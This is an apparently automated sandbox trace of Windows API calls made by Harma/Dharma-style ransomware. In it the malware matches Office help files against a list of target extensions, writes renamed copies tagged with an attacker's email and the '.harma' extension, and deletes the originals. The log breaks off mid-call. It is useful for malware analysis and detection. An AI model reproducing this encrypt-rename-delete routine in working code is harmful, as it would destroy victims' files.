lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0165.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.258] lstrlenW (lpString=".1cd") returned 4 [0165.258] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0165.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0165.258] lstrlenW (lpString=".jpg") returned 4 [0165.258] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0165.258] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0165.258] lstrlenW (lpString="WINWORD.DEV.HXS") returned 15 [0165.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.260] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=7438482) returned 1 [0165.260] CloseHandle (hObject=0x208) returned 1 [0165.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs")) returned 0x20 [0165.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0165.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.360] lstrlenW (lpString=".doc") returned 4 [0165.360] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0165.360] lstrlenW (lpString=".docx") returned 5 [0165.360] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0165.360] lstrlenW (lpString=".pdf") returned 4 [0165.360] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0165.360] lstrlenW (lpString=".xls") returned 4 [0165.360] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0165.361] lstrlenW (lpString=".xlsx") returned 5 [0165.361] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0165.361] lstrlenW (lpString=".ppt") returned 4 [0165.361] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0165.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.361] lstrlenW (lpString=".zip") returned 4 [0165.361] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0165.361] lstrlenW (lpString=".rar") returned 4 [0165.361] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0165.361] lstrlenW (lpString=".bz2") returned 4 [0165.361] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0165.361] lstrlenW (lpString=".7z") returned 3 [0165.361] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0165.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.361] lstrlenW (lpString=".dbf") returned 4 [0165.361] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0165.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.361] lstrlenW (lpString=".1cd") returned 4 [0165.361] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0165.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.361] lstrlenW (lpString=".jpg") returned 4 [0165.361] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0165.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.361] lstrlenW (lpString=".doc") returned 4 [0165.362] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0165.362] lstrlenW (lpString=".docx") returned 5 [0165.362] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0165.362] lstrlenW (lpString=".pdf") returned 4 [0165.362] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0165.362] lstrlenW (lpString=".xls") returned 4 [0165.362] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0165.362] lstrlenW (lpString=".xlsx") returned 5 [0165.362] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0165.362] lstrlenW (lpString=".ppt") returned 4 [0165.362] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0165.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.362] lstrlenW (lpString=".zip") returned 4 [0165.362] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0165.362] lstrlenW (lpString=".rar") returned 4 [0165.362] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0165.362] lstrlenW (lpString=".bz2") returned 4 [0165.362] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0165.362] lstrlenW (lpString=".7z") returned 3 [0165.362] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0165.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.362] lstrlenW (lpString=".dbf") returned 4 [0165.362] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0165.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.362] lstrlenW (lpString=".1cd") returned 4 [0165.362] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0165.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS") returned 63 [0165.363] lstrlenW (lpString=".jpg") returned 4 [0165.363] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0165.363] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0165.363] lstrlenW (lpString="WINWORD.DEV_COL.HXC") returned 19 [0165.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.364] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=651) returned 1 [0165.364] CloseHandle (hObject=0x208) returned 1 [0165.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 0x20 [0165.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.365] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.365] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.366] GetLastError () returned 0x0 [0165.366] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x28b, lpOverlapped=0x0) returned 1 [0165.562] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x290, lpOverlapped=0x0) returned 1 [0165.563] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.563] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfa, lpOverlapped=0x0) returned 1 [0165.564] SetEndOfFile (hFile=0x370) returned 1 [0165.564] CloseHandle (hObject=0x370) returned 1 [0165.564] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.564] SetEndOfFile (hFile=0x208) returned 1 [0165.566] CloseHandle (hObject=0x208) returned 1 [0165.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxc")) returned 1 [0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.595] lstrlenW (lpString=".doc") returned 4 [0165.595] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.595] lstrlenW (lpString=".docx") returned 5 [0165.595] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.595] lstrlenW (lpString=".pdf") returned 4 [0165.595] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.595] lstrlenW (lpString=".xls") returned 4 [0165.595] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.595] lstrlenW (lpString=".xlsx") returned 5 [0165.595] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.595] lstrlenW (lpString=".ppt") returned 4 [0165.595] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.595] lstrlenW (lpString=".zip") returned 4 [0165.595] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.595] lstrlenW (lpString=".rar") returned 4 [0165.595] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.595] lstrlenW (lpString=".bz2") returned 4 [0165.595] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.595] lstrlenW (lpString=".7z") returned 3 [0165.595] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.595] lstrlenW (lpString=".dbf") returned 4 [0165.595] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.596] lstrlenW (lpString=".1cd") returned 4 [0165.596] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.596] lstrlenW (lpString=".jpg") returned 4 [0165.596] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.596] lstrlenW (lpString=".doc") returned 4 [0165.596] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.596] lstrlenW (lpString=".docx") returned 5 [0165.596] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.596] lstrlenW (lpString=".pdf") returned 4 [0165.596] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.596] lstrlenW (lpString=".xls") returned 4 [0165.596] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.596] lstrlenW (lpString=".xlsx") returned 5 [0165.596] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.596] lstrlenW (lpString=".ppt") returned 4 [0165.596] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.596] lstrlenW (lpString=".zip") returned 4 [0165.596] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.596] lstrlenW (lpString=".rar") returned 4 [0165.596] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.596] lstrlenW (lpString=".bz2") returned 4 [0165.596] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.596] lstrlenW (lpString=".7z") returned 3 [0165.596] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.597] lstrlenW (lpString=".dbf") returned 4 [0165.597] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.597] lstrlenW (lpString=".1cd") returned 4 [0165.597] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXC") returned 67 [0165.597] lstrlenW (lpString=".jpg") returned 4 [0165.597] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.597] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0165.597] lstrlenW (lpString="WINWORD_F_COL.HXK") returned 17 [0165.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.598] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=114) returned 1 [0165.598] CloseHandle (hObject=0x218) returned 1 [0165.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 0x20 [0165.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.599] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.599] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.600] GetLastError () returned 0x0 [0165.600] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x72, lpOverlapped=0x0) returned 1 [0165.601] WriteFile (in: hFile=0x208, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.602] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0165.602] WriteFile (in: hFile=0x208, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0165.602] SetEndOfFile (hFile=0x208) returned 1 [0165.602] CloseHandle (hObject=0x208) returned 1 [0165.602] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.602] SetEndOfFile (hFile=0x218) returned 1 [0165.611] CloseHandle (hObject=0x218) returned 1 [0165.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 1 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.612] lstrlenW (lpString=".doc") returned 4 [0165.612] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.613] lstrlenW (lpString=".docx") returned 5 [0165.613] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.613] lstrlenW (lpString=".pdf") returned 4 [0165.613] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.613] lstrlenW (lpString=".xls") returned 4 [0165.613] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.613] lstrlenW (lpString=".xlsx") returned 5 [0165.613] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.613] lstrlenW (lpString=".ppt") returned 4 [0165.613] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.613] lstrlenW (lpString=".zip") returned 4 [0165.613] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.613] lstrlenW (lpString=".rar") returned 4 [0165.613] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.613] lstrlenW (lpString=".bz2") returned 4 [0165.613] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.613] lstrlenW (lpString=".7z") returned 3 [0165.613] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.613] lstrlenW (lpString=".dbf") returned 4 [0165.613] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.613] lstrlenW (lpString=".1cd") returned 4 [0165.613] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.613] lstrlenW (lpString=".jpg") returned 4 [0165.613] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.614] lstrlenW (lpString=".doc") returned 4 [0165.614] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0165.614] lstrlenW (lpString=".docx") returned 5 [0165.614] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0165.614] lstrlenW (lpString=".pdf") returned 4 [0165.614] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0165.614] lstrlenW (lpString=".xls") returned 4 [0165.614] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0165.614] lstrlenW (lpString=".xlsx") returned 5 [0165.614] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0165.614] lstrlenW (lpString=".ppt") returned 4 [0165.614] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0165.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.614] lstrlenW (lpString=".zip") returned 4 [0165.614] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0165.614] lstrlenW (lpString=".rar") returned 4 [0165.614] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0165.614] lstrlenW (lpString=".bz2") returned 4 [0165.614] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0165.614] lstrlenW (lpString=".7z") returned 3 [0165.614] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0165.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.614] lstrlenW (lpString=".dbf") returned 4 [0165.614] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0165.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.614] lstrlenW (lpString=".1cd") returned 4 [0165.614] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0165.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0165.614] lstrlenW (lpString=".jpg") returned 4 [0165.614] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0165.615] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0165.615] lstrlenW (lpString="WINWORD_K_COL.HXK") returned 17 [0165.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.616] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0165.616] CloseHandle (hObject=0x218) returned 1 [0165.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 0x20 [0165.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.616] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.616] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.617] GetLastError () returned 0x0 [0165.617] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0165.618] WriteFile (in: hFile=0x208, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0165.619] ReadFile (in: hFile=0x218, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: 